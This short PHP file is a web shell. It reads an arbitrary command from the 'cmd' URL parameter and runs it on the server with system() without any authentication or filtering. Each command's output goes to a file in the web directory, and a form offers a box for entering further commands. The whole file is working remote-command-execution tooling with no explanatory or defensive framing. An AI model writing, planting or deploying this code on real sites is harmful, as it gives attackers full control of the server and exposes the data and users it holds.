<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
$out_file = 'output_' . md5($cmd) . '.txt';
system("$cmd > $out_file 2>&1");
echo "Command executed. Output saved to: <a href='$out_file'>$out_file</a>";
}
?>
<form>
<input type="text" name="cmd" style="width:80%">
<input type="submit">
</form>